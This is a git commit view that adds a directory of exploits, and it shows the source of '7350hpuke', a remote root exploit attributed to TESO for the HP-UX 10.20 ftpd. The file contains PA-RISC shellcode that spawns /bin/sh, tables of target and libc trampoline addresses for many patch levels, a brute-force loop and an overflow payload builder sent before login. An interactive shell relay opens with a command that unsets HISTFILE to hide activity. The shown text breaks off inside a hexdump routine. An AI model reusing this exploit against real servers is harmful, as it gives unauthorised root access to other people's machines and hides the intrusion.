summaryrefslogtreecommitdiff
path: root/exploits/7350hpuke
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/7350hpuke
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/7350hpuke')
-rwxr-xr-xexploits/7350hpuke/7350hpukebin0 -> 24899 bytes
-rw-r--r--exploits/7350hpuke/7350hpuke.c1270
-rw-r--r--exploits/7350hpuke/backup/7350hpuke-0.2.0.c840
-rw-r--r--exploits/7350hpuke/backup/7350hpuke-0.2.1.c894
-rw-r--r--exploits/7350hpuke/backup/7350hpuke-0.4.0.c1214
-rw-r--r--exploits/7350hpuke/proof/proof.txt2
-rw-r--r--exploits/7350hpuke/proof/proof_hpux_ftpd.txt99
7 files changed, 4319 insertions, 0 deletions
diff --git a/exploits/7350hpuke/7350hpuke b/exploits/7350hpuke/7350hpuke
new file mode 100755
index 0000000..aec2810
--- /dev/null
+++ b/exploits/7350hpuke/7350hpuke
Binary files differ
diff --git a/exploits/7350hpuke/7350hpuke.c b/exploits/7350hpuke/7350hpuke.c
new file mode 100644
index 0000000..9645e1e
--- /dev/null
+++ b/exploits/7350hpuke/7350hpuke.c
@@ -0,0 +1,1270 @@
1/* 7350hpuke - hppa/hpux ftpd remote root exploit
2 *
3 * TESO CONFIDENTIAL - SOURCE MATERIALS
4 *
5 * This is unpublished proprietary source code of TESO Security.
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * TESO Security. This includes especially the Bugtraq mailing list, the
11 * www.hack.co.za website and any public exploit archive.
12 *
13 * The distribution restrictions cover the entire file, including this
14 * header notice. (This means, you are not allowed to reproduce the header).
15 *
16 * (C) COPYRIGHT TESO Security, 2002
17 * All Rights Reserved
18 *
19 *****************************************************************************
20 * 2002/02/10 -
21 *
22 * hints
23 *
24 * - to test for the vulnerability, just use "-l 1 -t 1" and see if the remote
25 * process dumps core (to /core)
26 * - the exploit is sensitive to what the local ip resolves to. only fqhn up
27 * to 17 characters will allow this exploitation method to work
28 */
29
30#define VERSION "0.4.2"
31
32#include <sys/types.h>
33#include <sys/time.h>
34#include <sys/socket.h>
35#include <netinet/in.h>
36#include <arpa/inet.h>
37#include <arpa/telnet.h>
38#include <netdb.h>
39#include <errno.h>
40#include <fcntl.h>
41#include <unistd.h>
42#include <stdio.h>
43#include <stdlib.h>
44#include <stdarg.h>
45#include <string.h>
46#include <time.h>
47
48
49#define INIT_CMD "unset HISTFILE;id;uname -a;\n"
50#define AUTO_CMD "echo \"sP\"\"sP\";\n"
51
52
53typedef struct {
54 char * desc; /* distribution */
55 char * banner; /* ftp banner part */
56 unsigned char * shellcode;
57 unsigned int shellcode_len;
58
59 unsigned int cpad; /* padding in the xp cmd */
60 unsigned long int codeaddr; /* return address to code */
61} tgt_type;
62
63
64typedef struct {
65 char * patchset;
66 unsigned long int addr;
67} trampo_type;
68
69
70typedef struct {
71 char * desc;
72 tgt_type * tgt;
73 trampo_type * tgt_trampo;
74 unsigned long int trampo_low; /* brute force boundaries */
75 unsigned long int trampo_high;
76} mtgt_type;
77
78/* shellcode
79 */
80
81unsigned char hppa_nop[] =
82 "\x0b\x39\x02\x99"; /* xor %r25,%r25,%r25 */
83
84/* 48 byte hppa/hpux pic execve -sc
85 */
86unsigned char hppa_hpux_execve[] =
87 "\xeb\x5f\x1f\xfd\xb4\x16\x70\x76\xb7\x5a\x40\x3a"
88 "\x0f\xc0\x12\x88\x0f\xda\x12\x80\x0b\xc0\x02\x99"
89 "\x0b\x18\x02\x98\x22\xa0\x08\x01\xe6\xa0\xe0\x08"
90 "\x0f\x40\x12\x0e\x2f\x62\x69\x6e\x2f\x73\x68\x41";
91
92/* addresses of one of the standard inter-space stubs within the libc.
93 * jumps to [$sp - 0x18].
94 *
95 * 0xc0011000 is the base address of libc within the ftpd process,
96 * the relative offset it the address within libc (as IDA shows it)
97 *
98 * XXX: all trampos seem to be aligned on & 0xfffffff8 boundaries, and
99 * in a relative range 0x0000 to 0x1000. that makes a nice brute
100 * force attack in less than circa 400 tries.
101 *
102 * this list does not make stuff exploitable the brute force mode would
103 * not catch, but it speeds things up for most cases.
104 */
105trampo_type hpux_1020_trampolines[] = {
106 { "HP-UX 10.20 default [1996/10/11]", 0xc0011000 + 0x00116c20 },
107/* XXX { "HP-UX 10.20 PHCO_8108 missing", 0x0 }, */
108 { "HP-UX 10.20 PHCO_8764 [1996/10/11]", 0xc0011000 + 0x00116fd8 },
109 { "HP-UX 10.20 PHCO_8979 [1996/12/10]", 0xc0011000 + 0x00116c48 },
110 { "HP-UX 10.20 PHCO_9577 [1997/01/13]", 0xc0011000 + 0x00116c48 },
111 { "HP-UX 10.20 PHCO_10027 [1997/02/18]", 0xc0011000 + 0x00116d58 },
112 { "HP-UX 10.20 PHCO_11004 [1997/05/15]", 0xc0011000 + 0x00116e58 },
113 { "HP-UX 10.20 PHCO_11315 [1997/06/12]", 0xc0011000 + 0x00116e08 },
114 { "HP-UX 10.20 PHCO_12128 [1997/08/22]", 0xc0011000 + 0x00116d40 },
115 { "HP-UX 10.20 PHCO_12448 [1997/09/12]", 0xc0011000 + 0x00116c20 },
116 { "HP-UX 10.20 PHCO_12673 [1997/10/02]", 0xc0011000 + 0x00116c50 },
117 { "HP-UX 10.20 PHCO_13029 [1997/11/10]", 0xc0011000 + 0x00116da8 },
118/* XXX { "HP-UX 10.20 PHCO_13189 missing", 0x0 }, */
119 { "HP-UX 10.20 PHCO_13282 [1997/12/05]", 0xc0011000 + 0x00116da8 },
120 { "HP-UX 10.20 PHCO_13399 [1997/12/05]", 0xc0011000 + 0x00116c48 },
121 { "HP-UX 10.20 PHCO_13626 [1998/01/02]", 0xc0011000 + 0x00116f50 },
122 { "HP-UX 10.20 PHCO_13775 [1998/03/27]", 0xc0011000 + 0x00116da0 },
123 { "HP-UX 10.20 PHCO_13777 [1998/02/05]", 0xc0011000 + 0x00116de0 },
124 { "HP-UX 10.20 PHCO_14199 [1998/02/17]", 0xc0011000 + 0x00116d08 },
125 { "HP-UX 10.20 PHCO_14511 [1998/03/20]", 0xc0011000 + 0x00116ce0 },
126 { "HP-UX 10.20 PHCO_14868 [1998/04/28]", 0xc0011000 + 0x00116d48 },
127 { "HP-UX 10.20 PHCO_14891 [1998/05/04]", 0xc0011000 + 0x00116d08 },
128 { "HP-UX 10.20 PHCO_15153 [1998/06/04]", 0xc0011000 + 0x00116da8 },
129 { "HP-UX 10.20 PHCO_15465 [1998/06/04]", 0xc0011000 + 0x00116e18 },
130 { "HP-UX 10.20 PHCO_15807 [1998/08/18]", 0xc0011000 + 0x00116c18 },
131 { "HP-UX 10.20 PHCO_15808 [1998/08/21]", 0xc0011000 + 0x00117048 },
132 { "HP-UX 10.20 PHCO_16302 [1998/09/25]", 0xc0011000 + 0x00116ff8 },
133 { "HP-UX 10.20 PHCO_16303 [1998/09/25]", 0xc0011000 + 0x00117090 },
134 { "HP-UX 10.20 PHCO_16723 [1999/01/26]", 0xc0011000 + 0x00116c68 },
135 { "HP-UX 10.20 PHCO_17381 [1999/03/17]", 0xc0011000 + 0x00116c08 },
136 { "HP-UX 10.20 PHCO_20098 [1999/10/28]", 0xc0011000 + 0x00117598 },
137 { "HP-UX 10.20 PHCO_20441 [1999/11/22]", 0xc0011000 + 0x00117658 },
138 { "HP-UX 10.20 PHCO_22448 [2000/11/10]", 0xc0011000 + 0x001175b8 },
139 { "HP-UX 10.20 PHCO_22924 [2001/01/29]", 0xc0011000 + 0x001175c8 },
140 { "HP-UX 10.20 PHCO_23684 [2001/05/18]", 0xc0011000 + 0x00117698 },
141 { "HP-UX 10.20 PHCO_25640 [2002/01/08]", 0xc0011000 + 0x001176f8 },
142
143 { NULL, 0x0 },
144};
145
146/* i am not that sure that this method of exploitation will work on other
147 * hpux systems. the vulnerability is itself very weird. i see what fails
148 * where and how it goes wrong, but i am unable to see why. there is
149 * boundary checking prior to the overflow, its difficult to reproduce
150 * logically and generally "weird". i like it.
151 */
152tgt_type hpux_1020_targets[] = {
153 { "DEBUG TARGET",
154 "DEBUG",
155 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
156 25, 0x42424242 },
157
158 /* real targets
159 */
160 { "HP-UX B.10.20 A - 1.7.212.1 default [1996/05/09 - 1997/01/26]",
161 "Version 1.7.212.1 Thu May 9 21:10:27 GMT 1996",
162 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
163 25, 0x7b03add0 },
164
165 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_9785 [1997/01/26 - 1997/02/07]",
166 "Version 1.7.212.1 Mon Jan 13 23:52:32 GMT 1997",
167 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
168 25, 0x7b03add0 },
169
170 { "HP-UX B.10.20 A - 1.7.212.1 PHNE_10010 [1997/02/07 - 1998/04/28]",
171 "Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997",
172 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
173 25, 0x7b03add0 },
174
175 { "HP-UX B.10.20 A - 1.7.212.2 PHNE_13597 [1998/04/28 - 1999/07/26]",
176 "Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998",
177 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
178 25, 0x7b03add0 },
179
180 { "HP-UX B.10.20 A - 1.7.212.3 PHNE_17963 [1999/07/26 - 2000/09/22]",
181 "Version 1.7.212.3 Wed Jul 14 10:24:05 GMT 1999",
182 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
183 25, 0x7b03add0 },
184
185 { "HP-UX B.10.20 A - 1.7.212.4 PHNE_22057 [2000/09/22 - 2001/06/04]",
186 "Version 1.7.212.4 Tue Sep 12 04:33:08 GMT 2000",
187 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
188 25, 0x7b03add0 },
189
190 { "HP-UX B.10.20 A - 1.7.212.5 PHNE_23948 [2001/06/04 - now]",
191 "Version 1.7.212.5 Wed May 30 12:19:42 GMT 2001",
192 hppa_hpux_execve, sizeof (hppa_hpux_execve) - 1,
193 25, 0x7b03add0 },
194
195 { NULL, NULL, 0, 0, 0, 0 },
196};
197
198mtgt_type mtargets[] = {
199 { "HP-UX 10.20 1.7.212.[1-5] [1996/05/09 - now]",
200 hpux_1020_targets,
201 hpux_1020_trampolines,
202 /* we choose +4 addresses so we dont have to cope with
203 * NUL bytes in the lsb. smart force in +8 steps.
204 */
205 0xc0011000 + 0x00116c24, 0xc0011000 + 0x00117904 },
206
207 { NULL, NULL, NULL },
208};
209
210/* FTP related stuff
211 */
212char * dest = "127.0.0.1"; /* can be changed with -d */
213char * source_ip = NULL;
214char * ftp_banner = NULL;
215int verbose = 0;
216
217
218/* FTP prototypes
219 */
220void ftp_escape (unsigned char *buf, unsigned long int buflen);
221void ftp_recv_until (int sock, char *buff, int len, char *begin);
222int ftp_login (char *host);
223
224
225/* main prototypes
226 */
227void usage (char *progname);
228void exploit (int fd, tgt_type *tgt, unsigned long int trampo);
229int exploit_try (tgt_type *tgt, unsigned long int taddr, int connected);
230void shell (int sock);
231void hexdump (char *desc, unsigned char *data, unsigned int amount);
232unsigned char * binstrstr (unsigned char *binary, unsigned int bin_len,
233 unsigned char *str);
234
235tgt_type * tgt_frombanner (tgt_type *tgtl, unsigned char *banner);
236int taddr_tested (trampo_type *tramps, int num, unsigned long int taddr);
237void mtgt_list (mtgt_type *mtgt);
238void tgt_list (tgt_type *tgt);
239
240
241/* imported from network.c
242 */
243#define NET_CONNTIMEOUT 60
244#define NET_READTIMEOUT 20
245int net_conntimeout = NET_CONNTIMEOUT;
246
247unsigned long int net_resolve (char *host);
248int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port,
249 char *sourceip, unsigned short int sourceport, int sec);
250int net_assignaddr (int sd, char *sourceip, unsigned short int sourceport);
251void net_write (int fd, const char *str, ...);
252int net_rtimeout (int fd, int sec);
253int net_rlinet (int fd, char *buf, int bufsize, int sec);
254
255
256int debugmode = 0,
257 autolength = 0;
258
259unsigned long int trampo_manual = 0x0;
260
261void
262usage (char *progname)
263{
264#ifndef QUIET
265 fprintf (stderr, "usage: %s [-h] [-v] [-D] <[-l <len>] | -a> "
266 "<-m <num> [-t <num>]> [-L 0xa] [-s sourceip] [-d host]\n\n",
267 progname);
268
269 fprintf (stderr,
270 "-h\tthis help\n"
271 "-v\tbe verbose (default: off, twice for greater effect)\n"
272 "-D\tDEBUG mode (waits for keypresses)\n"
273 "-l len\tresolved hostname length (of this host)\n"
274 "-a\ttry to automatically get the length (default)\n"
275 "-m num\tchoose meta-target (0 for list)\n"
276 "-t num\tchoose target (0 for list, try -v or -v -v)\n"
277 "-L 0xa\tgive trampoline address manually (default: auto)\n"
278 "-s sip\tgive source IP address or fqhn\n"
279 "-d dest\tIP address or fqhn to connect to "
280 "(default: 127.0.0.1)\n"
281 "\n");
282#endif
283
284 exit (EXIT_FAILURE);
285}
286
287int resolv_len = -1;
288unsigned char * shellcode = NULL;
289unsigned long int shellcode_len = 0;
290
291
292int
293main (int argc, char *argv[])
294{
295 char c;
296 char * progname; /* = argv[0] */
297 int fd;
298
299 tgt_type * tgt = NULL;
300 mtgt_type * mtgt = NULL;
301 int tgt_num = -1,
302 mtgt_num = -1;
303 int tgt_count;
304 unsigned long int taddr; /* brute force trampo addr */
305 int tr_w; /* trampoline walker */
306
307
308#ifndef QUIET
309 fprintf (stderr, "7350hpuke - hppa/hpux ftpd remote root "
310 "(version "VERSION")\n"
311 "team teso.\n\n");
312#endif
313
314 progname = argv[0];
315 if (argc < 2)
316 usage (progname);
317
318
319 while ((c = getopt (argc, argv, "hvDl:am:t:L:s:d:")) != EOF) {
320 switch (c) {
321 case 'h':
322 usage (progname);
323 break;
324 case 'D':
325 debugmode = 1;
326 break;
327 case 'v':
328 verbose += 1;
329 break;
330 case 'l':
331 if (sscanf (optarg, "%u", &resolv_len) != 1)
332 usage (progname);
333 break;
334 case 'a':
335 autolength = 1;
336 break;
337 case 'm':
338 if (sscanf (optarg, "%u", &mtgt_num) != 1)
339 usage (progname);
340 break;
341 case 't':
342 if (sscanf (optarg, "%u", &tgt_num) != 1)
343 usage (progname);
344 break;
345 case 'L':
346 if (sscanf (optarg, "0x%lx", &trampo_manual) != 1)
347 usage (progname);
348 break;
349 case 's':
350 source_ip = optarg;
351 break;
352 case 'd':
353 dest = optarg;
354 break;
355 default:
356 usage (progname);
357 break;
358 }
359 }
360
361 if (mtgt_num == 0 ||
362 mtgt_num >= (sizeof (mtargets) / sizeof (mtgt_type)))
363 {
364 if (mtgt_num != 0)
365 printf ("WARNING: meta-target out of list. list:\n\n");
366
367 mtgt_list (mtargets);
368
369 exit (EXIT_SUCCESS);
370 }
371 mtgt = &mtargets[mtgt_num - 1];
372 printf ("# meta-target: %s\n", mtgt->desc);
373
374 /* count real targets available in target list, then check if a proper
375 * one is given or nothing is given. abort in invalid cases.
376 */
377 for (tgt_count = 0 ; mtgt->tgt[tgt_count].desc != NULL ; ++tgt_count)
378 ;
379
380 if (tgt_num == 0 || tgt_num >= tgt_count) {
381 if (tgt_num != 0)
382 printf ("WARNING: target out of list. list:\n\n");
383
384 tgt_list (mtgt->tgt);
385
386 exit (EXIT_SUCCESS);
387
388 } else if (tgt_num != -1) {
389 tgt = &mtgt->tgt[tgt_num - 1];
390 }
391
392
393 /* sanity checking on resolv length parameter
394 */
395
396 if (autolength == 0 && resolv_len == -1) {
397 fprintf (stderr, "# resolv length not given, trying auto\n");
398 autolength = 1;
399 } else if (autolength == 0 && resolv_len > 17) {
400 fprintf (stderr, "resolv length too large, this exploitation "
401 "method only supports\nlength below or equal to 17 "
402 "chars\n");
403 exit (EXIT_FAILURE);
404 }
405
406 /* now tgt is either NULL (we should get the target automatically),
407 * or points to a proper subtarget structure
408 */
409
410
411 printf ("# trying to connect to %s ...", dest);
412 fflush (stdout);
413
414 fd = ftp_login (dest);
415 if (fd <= 0) {
416 fprintf (stderr, "\n### failed to connect\n");
417 exit (EXIT_FAILURE);
418 }
419 printf (" connected.\n");
420
421
422 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
423 ftp_banner);
424
425 if (tgt == NULL) {
426 tgt = tgt_frombanner (mtgt->tgt, ftp_banner);
427
428 if (tgt == NULL) {
429 fprintf (stderr, "failed to yield target from banner\n");
430
431 exit (EXIT_FAILURE);
432 }
433 printf ("# -> target: %s\n", tgt->desc);
434 } else {
435 printf ("# TARGET: %s\n\n", tgt->desc);
436 }
437
438 if (shellcode == NULL) {
439 shellcode = tgt->shellcode;
440 shellcode_len = tgt->shellcode_len;
441 }
442
443
444 if (verbose >= 2) {
445 printf ("using %lu byte shellcode:\n", shellcode_len);
446
447 hexdump ("shellcode", shellcode, shellcode_len);
448 }
449
450 if (debugmode) {
451 printf ("### DEBUG: press enter\n");
452 getchar ();
453 }
454
455 /* first try the known trampoline addresses
456 */
457 printf ("# testing known patchsets\n\n");
458 for (tr_w = 0 ; mtgt->tgt_trampo[tr_w].patchset != NULL ; ++tr_w) {
459
460 /* if the address was tested already, skip it
461 */
462 if (taddr_tested (mtgt->tgt_trampo, tr_w,
463 mtgt->tgt_trampo[tr_w].addr) == 0)
464 {
465 printf ("%s ", mtgt->tgt_trampo[tr_w].patchset);
466
467 fd = exploit_try (tgt, mtgt->tgt_trampo[tr_w].addr, fd);
468 if (fd != 0)
469 goto yeah;
470 }
471
472 /* fd is zero now, so exploit_try will build a new connection
473 */
474 }
475
476 printf ("\n# known trampolines failed, doing smart force\n\n");
477
478 for (taddr = mtgt->trampo_low ; taddr <= mtgt->trampo_high ;
479 taddr += 0x00000008)
480 {
481 /* the stubs are aligned on [08]$ addresses, but we test
482 * [4c]$, since they are prepended with a nop. so for the
483 * test, we have to add four to the brute address
484 */
485 if (taddr_tested (mtgt->tgt_trampo, tr_w, taddr + 4) == 0) {
486 printf ("BRUTE (%%%3ld) ",
487 ((taddr - mtgt->trampo_low) * 100) /
488 (mtgt->trampo_high - mtgt->trampo_low));
489
490 fd = exploit_try (tgt, taddr, fd);
491 if (fd != 0) {
492 printf ("fyi, trampoline address was at: "
493 "0x%08lx\n", taddr + 4);
494
495 goto yeah;
496 }
497 }
498 }
499
500 printf ("\n# brute force failed, giving up... "
501 "sorry, was a nice time.\n");
502
503 exit (EXIT_FAILURE);
504
505yeah:
506 printf ("# spawning shell\n");
507 printf ("##################################################"
508 "##########################\n");
509
510 write (fd, INIT_CMD, strlen (INIT_CMD));
511 shell (fd);
512
513 exit (EXIT_SUCCESS);
514}
515
516
517/* exploit_try
518 *
519 * try one single exploit attempt with the given attack vectors `tgt' and
520 * `tramp'. destination address in global `dest'. if `connected' is non-zero,
521 * it is used as filedescriptor and the ftp connection on this fd is assumed
522 * as already established.
523 *
524 * return 0 on failure
525 * return fd on success with shell spawned already
526 */
527
528int
529exploit_try (tgt_type *tgt, unsigned long int taddr, int connected)
530{
531 int n,
532 fd;
533 unsigned char rbuf[256];
534 unsigned char rcvbuf[2048];
535
536
537 printf ("[t: 0x%08lx c: 0x%08lx] ", taddr, tgt->codeaddr);
538
539 printf ("c");
540 fflush (stdout);
541
542 if (connected == 0) {
543 fd = ftp_login (dest);
544 if (fd <= 0) {
545 fprintf (stderr, "\n### failed to connect to %s\n", dest);
546
547 exit (EXIT_FAILURE);
548 }
549 } else
550 fd = connected;
551
552 printf ("\bC");
553 fflush (stdout);
554
555 /* if required, get local fqhn by itself
556 */
557 if (autolength == 1) {
558 struct sockaddr_in localaddr;
559 struct hostent * hep, he;
560 socklen_t size = sizeof (struct sockaddr_in);
561 int n, h_errno;
562 unsigned char h_buf[8192];
563
564 printf ("r");
565 fflush (stdout);
566
567 if (getsockname (fd, (struct sockaddr *) &localaddr, &size) == -1) {
568 fprintf (stderr, "### failed to get local fqhn\n");
569 exit (EXIT_FAILURE);
570 }
571
572 n = gethostbyaddr_r ((char *) &localaddr.sin_addr,
573 sizeof (struct in_addr), AF_INET, &he, h_buf,
574 sizeof (h_buf), &hep, &h_errno);
575
576 if (hep == NULL) {
577 unsigned char * ipp =
578 (unsigned char *) &localaddr.sin_addr.s_addr;
579 unsigned char dbuf[64];
580
581 if (verbose)
582 fprintf (stderr, "missed name, going for ip\n");
583
584 snprintf (dbuf, sizeof (dbuf), "%d.%d.%d.%d",
585 ipp[0], ipp[1], ipp[2], ipp[3]);
586 dbuf[sizeof (dbuf) - 1] = '\0';
587
588 if (verbose)
589 printf ("# local host: %s\n", dbuf);
590
591 resolv_len = strlen (dbuf);
592 } else {
593 if (verbose) {
594 printf (" fqhn\n");
595 printf ("# local host: %s\n", he.h_name);
596 }
597 resolv_len = strlen (he.h_name);
598 }
599 printf ("\bR");
600 fflush (stdout);
601
602 autolength = 0;
603 }
604
605 if (resolv_len > 17) {
606 fprintf (stderr, "local host resolves to a too-long hostname, "
607 "has to be shorter-equal to 17 chars\n");
608 exit (EXIT_FAILURE);
609 }
610
611 if (verbose)
612 printf ("# resolv_len = %d\n", resolv_len);
613
614 /* time to attach the debugger
615 */
616 if (debugmode) {
617 printf ("d");
618 fflush (stdout);
619 getchar (); /* will clobber output, doh! */
620
621 printf ("\bD");
622 fflush (stdout);
623 }
624
625 if (verbose) {
626 printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
627 ftp_banner);
628 }
629
630 if (shellcode == NULL) {
631 shellcode = tgt->shellcode;
632 shellcode_len = tgt->shellcode_len;
633 }
634
635 if (verbose >= 2) {
636 printf ("using %lu byte shellcode:\n", shellcode_len);
637
638 hexdump ("shellcode", shellcode, shellcode_len);
639
640 printf ("\n### TARGET: %s\n\n", tgt->desc);
641 }
642
643 /* real stuff starts from here
644 */
645 printf ("p");
646 fflush (stdout);
647 net_write (fd, "SITE 73507350735073507350735073507350"
648 "735073507350735073507350\n");
649 ftp_recv_until (fd, rcvbuf, sizeof (rcvbuf), "500 ");
650 printf ("\bP");
651 fflush (stdout);
652
653 printf ("x");
654 fflush (stdout);
655 exploit (fd, tgt, taddr);
656 printf ("\bX");
657 fflush (stdout);
658
659 write (fd, AUTO_CMD, strlen (AUTO_CMD));
660
661 n = net_rlinet (fd, rbuf, sizeof (rbuf), 10);
662 if (n > 0 && binstrstr (rbuf, n, "sPsP") != NULL) {
663 printf (": SUCCESS\n");
664
665 return (fd);
666 }
667
668 /* failure, close down socket and move ahead
669 */
670 printf (": FAILURE\n");
671 close (fd);
672
673 return (0);
674}
675
676
677void
678exploit (int fd, tgt_type *tgt, unsigned long int trampo)
679{
680 int n,
681 padnop,
682 pad;
683 unsigned char * xpw;
684 unsigned char xpbuf[1024 + 256]; /* + NETSLOP ;-) */
685
686
687 memset (xpbuf, '\0', sizeof (xpbuf));
688
689 pad = 17 - resolv_len;
690 for (xpw = xpbuf, n = 0 ; pad > 0 ; --pad)
691 *xpw++ = "7350"[n++ % 4];
692
693 /* now the second return address (at %sp - 0x18) for thunking
694 */
695 *xpw++ = (tgt->codeaddr & 0xff000000) >> 24;
696 *xpw++ = (tgt->codeaddr & 0x00ff0000) >> 16;
697 *xpw++ = (tgt->codeaddr & 0x0000ff00) >> 8;
698 *xpw++ = (tgt->codeaddr & 0x000000ff);
699
700 /* directly after it, *tada*, the first return address to the space
701 * redirection stub
702 */
703 *xpw++ = (trampo & 0xff000000) >> 24;
704 *xpw++ = (trampo & 0x00ff0000) >> 16;
705 *xpw++ = (trampo & 0x0000ff00) >> 8;
706 *xpw++ = (trampo & 0x000000ff);
707
708 strcat (xpbuf, "A"); /* padding */
709
710 /* nopspace + shellcode
711 */
712 padnop = 990 + tgt->cpad - resolv_len - strlen (xpbuf);
713 padnop &= ~0x3; /* pad down to 4 byte boundary */
714
715 for (n = 0, xpw = xpbuf + strlen (xpbuf) ;
716 n < padnop ; ++n)
717 {
718 *xpw++ = hppa_nop[n % 4];
719 }
720 if (verbose)
721 printf ("n = %d, n %% 4 = %d\n", n, n % 4);
722
723 memcpy (xpw - tgt->shellcode_len - 8, tgt->shellcode, tgt->shellcode_len);
724 xpw += strlen (xpw);
725 if (verbose)
726 printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
727
728 *xpw++ = '\n';
729
730 ftp_escape (xpbuf, sizeof (xpbuf));
731 net_write (fd, "%s", xpbuf);
732
733 return;
734}
735
736
737tgt_type *
738tgt_frombanner (tgt_type *tgtl, unsigned char *banner)
739{
740 int tw; /* target list walker */
741
742
743 for (tw = 0 ; tgtl[tw].desc != NULL ; ++tw) {
744 if (strstr (banner, tgtl[tw].banner) != NULL)
745 return (&tgtl[tw]);
746 }
747
748 return (NULL);
749}
750
751
752/* taddr_tested
753 *
754 * return 1 if `taddr' was already tested within the first `num'
755 * table entries of `tramps'.
756 * return 0 if it was not tested yet
757 */
758
759int
760taddr_tested (trampo_type *tramps, int num, unsigned long int taddr)
761{
762 int n;
763
764 for (n = 0 ; n < num && tramps[n].patchset != NULL; ++n) {
765 if (tramps[n].addr == taddr)
766 return (1);
767 }
768
769 return (0);
770}
771
772
773void
774mtgt_list (mtgt_type *mtgt)
775{
776 int mtgt_num;
777
778
779 printf ("num . description\n");
780 printf ("----+-----------------------------------------------"
781 "--------\n");
782
783 for (mtgt_num = 0 ; mtgt[mtgt_num].desc != NULL ; ++mtgt_num) {
784 printf ("%3d | %s\n", mtgt_num + 1, mtgt[mtgt_num].desc);
785 }
786 printf (" '\n");
787}
788
789
790/* tgt_list
791 *
792 * give target list
793 */
794
795void
796tgt_list (tgt_type *tgt)
797{
798 int tgt_num;
799
800
801 printf ("num . description\n");
802 printf ("----+-----------------------------------------------"
803 "--------\n");
804
805 for (tgt_num = 0 ; tgt[tgt_num].desc != NULL ; ++tgt_num) {
806 printf ("%3d | %s\n", tgt_num + 1, tgt[tgt_num].desc);
807
808 if (verbose)
809 printf (" : %s\n", tgt[tgt_num].banner);
810 if (verbose >= 2)
811 printf (" : codeaddr: 0x%08lx\n",
812 tgt[tgt_num].codeaddr);
813 }
814 printf (" '\n");
815
816 return;
817}
818
819
820void
821shell (int sock)
822{
823 int l;
824 char buf[512];
825 fd_set rfds;
826
827
828 while (1) {
829 FD_SET (0, &rfds);
830 FD_SET (sock, &rfds);
831
832 select (sock + 1, &rfds, NULL, NULL, NULL);
833 if (FD_ISSET (0, &rfds)) {
834 l = read (0, buf, sizeof (buf));
835 if (l <= 0) {
836 perror ("read user");
837 exit (EXIT_FAILURE);
838 }
839 write (sock, buf, l);
840 }
841
842 if (FD_ISSET (sock, &rfds)) {
843 l = read (sock, buf, sizeof (buf));
844 if (l == 0) {
845 printf ("connection closed by foreign host.\n");
846 exit (EXIT_FAILURE);
847 } else if (l < 0) {
848 perror ("read remote");
849 exit (EXIT_FAILURE);
850 }
851 write (1, buf, l);
852 }
853 }
854}
855
856
857/*** FTP functions
858 */
859
860/* FTP is TELNET is SHIT.
861 */
862
863void
864ftp_escape (unsigned char *buf, unsigned long int buflen)
865{
866 unsigned char * obuf = buf;
867
868
869 for ( ; *buf != '\0' ; ++buf) {
870 if (*buf == 0xff &&
871 (((buf - obuf) + strlen (buf) + 1) < buflen))
872 {
873 memmove (buf + 1, buf, strlen (buf) + 1);
874 buf += 1;
875 }
876 }
877}
878
879
880void
881ftp_recv_until (int sock, char *buff, int len, char *begin)
882{
883 char dbuff[2048];
884
885
886 if (buff == NULL) {
887 buff = dbuff;
888 len = sizeof (dbuff);
889 }
890
891 do {
892 memset (buff, '\x00', len);
893 if (net_rlinet (sock, buff, len - 1, 20) <= 0)
894 return;
895 } while (memcmp (buff, begin, strlen (begin)) != 0);
896
897 return;
898}
899
900
901int
902ftp_login (char *host)
903{
904 int ftpsock;
905 char resp[512];
906
907
908 ftpsock = net_connect (NULL, host, 21, source_ip, 0, 30);
909 if (ftpsock <= 0)
910 return (0);
911
912 memset (resp, '\x00', sizeof (resp));
913 if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0)
914 goto flerr;
915
916 /* handle multiline pre-login stuff (rfc violation !)
917 */
918 if (memcmp (resp, "220-", 4) == 0)
919 ftp_recv_until (ftpsock, resp, sizeof (resp), "220 ");
920
921 if (memcmp (resp, "220 ", 4) != 0) {
922 if (verbose)
923 printf ("\n%s\n", resp);
924 goto flerr;
925 }
926 if (ftp_banner != NULL)
927 free (ftp_banner);
928
929 ftp_banner = strdup (resp);
930
931 /* do not login really, this is 100% pre-auth
932 */
933 return (ftpsock);
934
935flerr:
936 if (ftpsock > 0)
937 close (ftpsock);
938
939 return (0);
940}
941
942
943/* ripped from zodiac */
944void
945hexdump (char *desc, unsigned char *data, unsigned int amount)
946{
947 unsigned int dp, p; /* data pointer */
948 const char trans[] =
949 "................................ !\"#$%&'()*+,-./0123456789"
950 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
951 "nopqrstuvwxyz{|}~...................................."
952 "....................................................."
953 "........................................";
954
955
956 printf ("/* %s, %u bytes */\n", desc, amount);
957
958 for (dp = 1; dp <= amount; dp++) {
959 fprintf (stderr, "%02x ", data[dp-1]);
960 if ((dp % 8) == 0)
961 fprintf (stderr, " ");
962 if ((dp % 16) == 0) {
963 fprintf (stderr, "| ");
964 p = dp;
965 for (dp -= 16; dp < p; dp++)
966 fprintf (stderr, "%c", trans[data[dp]]);
967 fflush (stderr);
968 fprintf (stderr, "\n");
969 }
970 fflush (stderr);
971 }
972 if ((amount % 16) != 0) {
973 p = dp = 16 - (amount % 16);
